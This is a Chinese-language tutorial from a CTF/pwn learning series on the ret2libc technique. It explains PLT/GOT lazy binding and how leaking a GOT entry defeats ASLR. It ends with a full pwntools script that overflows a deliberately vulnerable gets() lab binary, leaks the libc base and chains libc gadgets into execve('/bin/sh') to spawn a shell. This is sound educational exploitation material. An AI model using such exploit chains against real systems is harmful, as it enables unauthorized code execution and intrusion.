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DAY 9

Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列第 9 篇

[Day9] Stack 攻擊手法 - ROP：動態連結

16th鐵人賽 ret2libc

autong

團隊HackerSir

2024-09-23 21:44:05

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在上一篇文章中，我們介紹了如何利用 ROP（Return-Oriented Programming）來繞過 NX（No-eXecute）保護機制。並且透過一隻靜態連結的程式作為例題，然而，現實中大多數程式是使用動態連結的，那這樣還能 ROP 嗎？

可以的！本篇文章將說明如何利用動態函式庫中的 Gadget 來達成 ROP，這種技術稱為 ret2libc。
文章架構如下：

動態連結
- 延遲綁定（Lazy Binding）
ret2libc
攻擊手法分析
Exploit
- 初始化
- Payload1：洩漏實際位址
- 計算載入初始位址
- Payload2：獲取控制權

動態連結

與靜態連結直接將所需函式庫嵌入到執行檔中不同，動態連結（Dynamic Linking）是在程式執行時才載入外部函式庫。外部函式在程式碼中只有相對位址（偏移量），動態連結器會在執行期間，將這些外部函式的位址重新定址為真正載入記憶體中的位址。

然而，當外部函式數量龐大時，若在啟動時就一一解析位址，會嚴重影響效能。為了優化啟動速度，就有人提出一種概念，即函數有被呼叫時才去尋找真正的位址，這個概念稱為延遲綁定（Lazy Binding）

延遲綁定（Lazy Binding）

以呼叫 printf() 函式為例，延遲綁定的運作過程如下：

當程式第一次呼叫 printf() 這個外部函式時，它會透過 .plt 段落中的對應項目來進行跳轉。這個 PLT 項目不會直接執行 printf()，而是會跳轉到一段動態連結的程式碼。這段程式碼會啟動動態連結器，負責解析 printf() 的實際位址。

當動態連結器找到 printf() 的位址後，它會將這個位址填入 GOT（全域偏移表，Global Offset Table）中的對應項目。之後每次呼叫 printf()，程式會直接從 GOT 表中讀取已解析好 printf() 位址，避免再度啟動動態連結。

補充：PLT（Procedure Linkage Table，程式連結表）是 ELF（Executable and Linkable Format）檔案中的一個區段，內含一段跳轉用的程式碼。

整個延遲綁定的機制如上述所示，我們可以注意到在記憶體中有一個位置（GOT）存放著外部函數與實際位址的對應關係，也就是說只要有辦法洩漏這張表的內容，ASLR 的保護機制（能隨機共享函式庫的起始位址）形同虛設。

ret2libc

當攻擊靜態連結的程式時，我們可以直接在程式中找到 ROP 所需的 Gadget。但對於動態連結的程式，除了程式本身，我們還可以在共享函式庫中尋找 Gadget。然而它的難點在於，當我們找到共享函式庫中 Gadget 的位址（為起始位址的偏移量）時，會因為 ASLR 這個保護機制導致載入的起始位址隨機，如同 Day6 最下方的說明，導致找到的 Gadget 位址非實際載入的位址

但由於整個共享函式庫的相對位址不變，因此 Gadget 的實際位址 = 找到的 Gadget 位址（起始位址的偏移量） + 載入的起始位址。

那我們要怎麼知道載入的起始位址呢？接下來我們透過實際的範例做進一步的說明，使用張元於 NTU Computer Security Fall 2019 - 台大計算機安全的 ret2libc

#include<stdio.h>
#include<stdlib.h>

void init(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(){
    init();
    puts( "Say hello to stack :D" );
    char buf[48];
    gets(buf);

    return 0;
}

同樣也關閉 Canary 與 PIE 保護機制。

攻擊手法分析

可以看到這個程式使用了 gets() 函數，因此存在 Stack Buffer Overflow 漏洞。不過，程式沒有後門函數，並且已開啟 NX 保護機制，這意味著我們無法執行自己寫入的 Shellcode。然而，正如上一篇文章所提到的，我們可以透過 ROP（Return Oriented Programming）技術，使用程式中的小片段（Gadgets）來繞過 NX 保護。

當我們嘗試對這隻程式使用 ROPGadget 工具時，會發現沒有像 system、syscall 或 /bin/sh 這類可以直接開啟 Shell 的 Gadgets。不過，儘管這隻程式本身沒有這些 Gadgets，我們仍可以從共享函式庫中找到它們，這就是為什麼這個攻擊手法被稱為 ret2libc：ROP Chain 是由共享函式庫的程式片段所組成的。

要知道這個程式使用了哪些動態函式庫，我們可以使用 ldd 指令來列出它所依賴的共享函式庫，命令如下：

ldd ./ret2libc

其中 libc.so.6 就是我們要使用的動態函式庫，後面顯示的是它的路徑。

註：為了方便練習，我們在本地環境進行攻擊。因此，我們使用本地的共享函式庫來操作。這樣我們可以利用已知的函式庫地址和偏移量來構造 ROP Chain，而不必考慮遠端環境的函式庫版本差異。如果是在遠端伺服器上進行攻擊，則可能需要額外考慮函式庫版本差異，甚至需要使用其他技巧來取得遠端函式庫的基址。

如同上一篇文章所述，我們的目標是通過 Gadget 組成 execve("/bin/sh", NULL, NULL)，下圖顯示了所需的 Stack 結構：

我們可以發現需要的 Gadget 全部都能在共享函式庫（/lib/x86_64-linux-gnu/libc.so.6）中找到，如下圖

然而，由於 ASLR（Address Space Layout Randomization）保護機制，我們需要考慮共享函式庫的起始載入位址，並加上相應的偏移量。

那麼，如何找到共享函式庫的起始位址呢？我們來看個例子。假設我們知道 printf 函數在記憶體中的實際載入位址：

由於有共享函式庫的檔案，我們可以知道 printf 位在檔案中的哪裡，即從檔案起始開始算的偏移量。假設它的偏移量為 6 而實際位址為 0x1006，可以很明顯的看出 libc 被載入的起始位置為 0x1006 - 6 = 0x1000。
接著，假如我們現在想知道 system 的實際位址，就會像這樣：

只需要將 system() 在檔案中的偏移量加上剛剛我們算出的載入起始位址（0x1000），就能得知 system() 的實際位址為 0x1000+12（0xc）。

不只是 system()，整份檔案只要加上 0x1000 就會是實際位址，包含我們從 ROPgadget 找到的 Gadgat。簡單來說，只要我們能 Leak（洩露）出某個函數的實際位址，就能繞過 ASLR 保護。

還記得上面提到的延遲綁定機制嗎？只要函數有被呼叫過他的真實位址就會被存進 GOT（Global Offset Table），也就是說我們可以透過印出 GOT 的內容來取得函數的真實位址，因為函數一旦被呼叫，它的實際位址就會被存入 GOT。

也因此整個攻擊過程如下：

蓋到 Return Address 時，讓程式執行 printf（某使用過函數的GOT內容）
透過上面的 printf 得到某函數位址，算出初始載入位址，並將後續需要用到的 Gadget 加上這個位址，得到實際 Gadget 的記憶體位址。
透過 ROP 讓程式跳回 main()，這樣能再一次觸發 Stack Buffer Overflow
藉由第二次的 Stack Buffer Overflow 將實際位址的 Gadget 串聯成 execve("/bin/sh", NULL, NULL) 的 ROP Chain，最終取得 Shell。

Exploit

接下來我們將一步一步撰寫攻擊腳本

1. 初始化

from pwn import *

context.binary = './ret2libc'
p = process('./ret2libc')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

除了前說明過的設定架構與運行程式以外，由於之後會使用到 libc.so.6 這隻動態函式庫，因此我們可以使用 pwntools 中的 ELF() 函數將 ELF 檔包進來並做解析。

2. Payload1：洩漏實際位址

要 Leak 出某函數的位址需要幾個條件：

找到 pop rdi; ret; 的 Gadget 才能將需要輸出的 Leak Address 做為輸出函數（printf、puts 等）的第一個參數
找一個已經被呼叫過函數的 GOT 位址，傳入 RDI 暫存器
呼叫 printf 或 puts 等輸出函數，將上述 GOT 內容輸出

首先，先使用 ROPgadget 找到 pop rdi; ret; ：

pop_rdi = 0x0000000000400733

接著我們要選定一個有被使用過函數的 GOT，可以是程式中有用的到 gets()、puts 甚至是呼叫 main 的 libc_start_main() 都可以。我們以 gets() 舉例，要找到 gets() 的 GOT 位址可以使用 objdump 找：

前面有說到 plt 會透過跳轉指令去取得 GOT 的內容，因此 gets@plt 的第一行後面的 601020 <gets@GLIBC_2.2.5> 即為 gets 的 GOT 位址。
此外，也可以像下面這樣：

gets_got = context.binary.got['gets']

context.binary 為我們的程式 ret2lib，可以透過此種方式讓 pwntools 幫我們找到。

再來，我們要找到輸出函數函數的位址，程式中有 puts() 這個函數供我們使用，同樣使用 pwntools 工具幫我們找到 puts() 的位址：

puts_plt = context.binary.plt['puts']

最後，我們需要 main() 的位址：

main_adr = context.binary.symbols['main']

以及我們要計算 padding，作為 Retrun Address 之前的填充

可以看出我們的 padding 為 0x30 + 8

padding = b'A' * (0x30 + 8)

將上述內容整合成一段 payload，如下：

payload1 = flat(
    padding,
    pop_rdi,
    gets_got,
    puts_plt,
    main_adr
)

3. 計算載入初始位址

p.sendlineafter('D\n', payload1)

gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']

先將上述的 payload 發送後，我們可以接收到 gets() 的實際位址，藉此算出 libc 的載入初始位址。

4. Payload2：獲取控制權

獲得 libc 的載入初始位址後就能將獲得從 libc.so.6 找到的 Gadget 實際位址，並且透過這些 Gadget 串成 execve("/bin/sh", NULL, NULL)：

pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr

payload2 = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx,
    0,
    pop_rax,
    0x3b,
    syscall
)

p.sendlineafter('D\n', payload2)
p.interactive()

註：可以參考上一篇對於此 ROP Chain 的說明

整段攻擊腳本如下：

from pwn import *

context.binary = './ret2libc'
p = process('./ret2libc')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x0000000000400733
gets_got = context.binary.got['gets']
puts_plt = context.binary.plt['puts']
main_adr = context.binary.symbols['main']

padding = b'A' * (0x30 + 8)
payload1 = flat(
    padding,
    pop_rdi,
    gets_got,
    puts_plt,
    main_adr
)

p.sendlineafter('D\n', payload1)

gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']

pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr

payload2 = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx,
    0,
    pop_rax,
    0x3b,
    syscall
)

p.sendlineafter('D\n', payload2)
p.interactive()